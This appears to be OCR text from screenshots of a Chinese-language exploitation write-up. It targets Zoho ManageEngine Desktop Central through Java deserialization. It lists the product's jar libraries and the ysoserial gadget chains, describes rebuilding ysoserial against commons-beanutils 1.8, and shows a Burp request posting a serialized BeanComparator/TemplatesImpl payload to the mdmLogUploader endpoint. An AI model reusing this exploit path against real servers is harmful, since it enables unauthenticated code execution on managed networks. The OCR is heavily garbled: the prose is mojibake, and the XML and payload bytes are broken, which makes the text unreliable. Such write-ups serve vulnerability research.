& commons-lang3-3.1 2020/3/9 1542 Executable Jar File 308 KB
i« commons-logging-api 2020/3/9 1542 Executable Jar File 44 KB
& commons-math3-3.6.1 2020/3/9 15:42 Executable Jar File 2,144 KB
& commons-pool-1.6 2020/3/9 15:42 Executable Jar File 109 KB
& commons-pool2-2.4.2 2020/3/9 1542 Executable Jar File 109 KB
i commons-validator-1.3.1 2020/3/9 1542 Executable Jar File 135KB
& commons-vfs2-2.1 2020/3/9 15:42 Executable Jar File 426 KB
& core 2020/3/9 1542 Executable Jar File 422 KB
& cp 2020/3/9 15:42 Executable Jar File 94 KB
& cryptix-jce-provider 2020/3/9 15:42 Executable Jar File 246 KB
& cssparser-0,9.27 2020/3/9 1542 Executable Jar File 395 KB
& DCBackupRestore 2020/3/9 1542 Executable Jar File 199 KB

& DCDBMigration 2020/3/9 15:42 Executable Jar File 83KB
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DCToolsGateway 2020/3/9 15:42 Executable Jar File 248 KB

& dd-plist 2020/3/9 15:42 Executable Jar File 71KB

& DMCommonUtils 2020/3/9 15:42 Executable Jar File 17 KB

& DMFramework 2020/3/9 15:42 Executable Jar File 26 KB

i« DMFrameworkMigration 2020/3/9 15:42 Executable Jar File 4KB

& DMFrameworkSilentMigration 2020/3/9 1542 Executable Jar File 16 KB

+ DMInstrumentationFactory 2020/3/9 1542 Executable Jar File 3KB

& DMOnpremiseMigration 2020/3/9 15:42 Executable Jar File 2KB ol

- commons-fileupload-1.3.2 22 H 1 2020/3/9 15:42 BIREE: 2020/3/9 15:42
=) Executable Jar File s 68.0 KB

Al - G <Ll
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commons-collections. jar KE%TTE,E\-MKH&ZK, ﬁ{i]EE_THﬁZK

MANIFEST.MF - Java Decompiler

(s cewolf-1.2.4.jar &2 (= AdventNetDesktopCentral.jar 2 _

v # META-INF o x
[5) LICENSE.txt

[ JOK
B ®™F O

Manifest-Version: 1.8

MANIFEST.MF 2 Ant-version: Apache Ant 1.5.3
3 Crested-By: 1.3.1_81 (Sun Microsystems Inc.)
NOTICE.txt 4 Package: org.apache.commons. collections
L ; Commons—collect jons

» 3 org.apache.commons.collections

(ers
7 +Vendar: Apache Software Foundation
8 specification-Title: Commons Collections
9 Implementation-Version: 3.1

18 Implementation-Vendor: Apache Software Foundation

11  Implementation-Vendor-Id:

3
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X%%TE% commons-collections:3.1 ﬂmﬁ{l]ﬁl—l«l*u% CommonsBeanutilsl
FO commonscollections3 WSS gagdets. HIAAA jdk AURISE gagdets, ok7u21 F1 Iresuze .

HA B H RIS DEEHER—— ysoserial .

o000 xue@xuedeMBP: ~/Documents/NetSafe/Tools/JavaTools
Payload Authors Dependenc

BeanShelll @pwntester, @cschneiderd4711 bsh:2.0b5

C3pP0 c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @Jack0fMostTrades clojure:1.8.0

CommonsBeanutilsl commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsBeanutils2 @Qian CET JNDI commons-beanutils:l 3-1.9.2
CommonsCollectionsl @frohoff commons=collectiol 3.1
CommonsCollections1@® @FROHOFF commons-collections:3.2.1
CommonsCollectionsll @Qianxin Ntears - commons-collections:3.2.1
CommonsCollections2 ( commons-collections4:4.0
CommonsCollections3 oho commons-collections:3.1
CommonsCollectionsd4 @ commons-collections4:4.0
CommonsCollections5 atthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6é @matthias_kaiser commons=collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons=collections:3.1
CommonsCollections8 @JAVALORENZO commons-collections4:4.0
CommonsCollections9 @WH1T3P1G commons-collections:3.1

FileUploadl @mbechler commons-fileupload:1.3.1, commons-io:2.4
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HABEA ysoserial FRRYFISE gadgets M FHILIGRIT. (ERXBERJFELEHRNRE
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1.png)

XERTFHAEITE ysoserial ATERARUKEIRAR 1.9.2 ,

M0 Zoho ManageEngine Desktop Central EXTHHYSE commons-beanutils-1.8.0 , IXIGFSE v A[E, M
&R IR, FRATREE(EM ysoserial BY pom.xm1 HPAY commons-beanutils 9 1.8 RHIE
#TFTEL ysoserial RJE]

>

>commons—collections</
>commons—collections</

>3.1</ >

>

>

>org.beanshell</
>bsh</
>2.0b5</ >

>

>commons—beanutils</
>commons—-beanutils</

>1.8.3</ >

>

>0rg.apache.commons</
>commons—collectionsd</

>4.,0</ >
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>

>0rg.codehaus.groovy</
>groovy</ >

>2.3.9</ >

>

>

>0rg.springframework</
>spring-core</

>4.1.4.RELEASE</

>

>

>0rg.springframewo nk<y/
>spring-beans</
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4. WRER

AT HERAEEREG, AAEZME payload, AIE{T&EARNLFF payload

® Burp Suite Professional v2.1.06 - Temporary Project - licensed to j&k)I|
Dashboard Target Proxy Intruder m Sequencer Decoder Comparer Extender Project options User options

4 37 x 38 x 39 40 x 43 « 44 45 x 46 47 48 x 49 50 51 x 52 53 % 54 x 55 LN | EE 59 60

Send : <|v Target: hitps://172.16.78.182:8383 /7 (7)

“ Params. Headers Hex h Headers Hex

POST HTTE/1.1 200 OK
/mdm/client/v1/mdmLogUploader?udid “emw e A 4 &filename=mdmlo Date: Mon, 09 Mar 2020 10:22:48 GMT
gs.zip HTTP/1.1 - Server: Apache
Host: 172.16.78.182:8020 Access-Control-Allow-Headers: Authorization, origin,
User-Agent: python-requests/2.23.0 x-requested-with, content-type, DC-Integ-Param
Accept-Encoding: gzip, deflate Access-Control-Allow-Methods: PUT, GET, POST, DELETE, OPTIONS
Accept: */* Set-Cookie: DCJSESSIONID=CADBIO8I4C2EZE19856829C52682518C3;
Connection: close Path=/; Secure; HttpOnly
Content-Type: appllcdtlcn/octct -stream X-FRAME-OPTIONS: SAMEORIGIN
Content-Length: 2875 Content-Length: 0

X-dc-header: yes
B8 sr java.util.PriorityQueuelB0bB:68 I sizeL Connection: close

comparatort Ljava/util/Comparator ;Xp sr+org.apache.commons.beanutils.BeanComparator#flis"6H L
comparatorq-Lpropertyt Liava/lang/String;xpsr?org.apache.commons.collections.comparators .Com
parametomparawrﬁﬁmanf‘ Dén» outpuwmperuew sr:com.sun.org.apache.xalan. internal.xsltc.t
rax.TemplatesImpl

indentNumberI _transletIndexi uscscrv;cus‘icchalusm auxClassest;Lcom/sun/org/apache/xalan/
internal/xsltc/runtime/Hashtable;

_bytecodest [[B[ classt [L;ava/urqfclm nameq- L _outputPropertiest Ljava/util/Propertie
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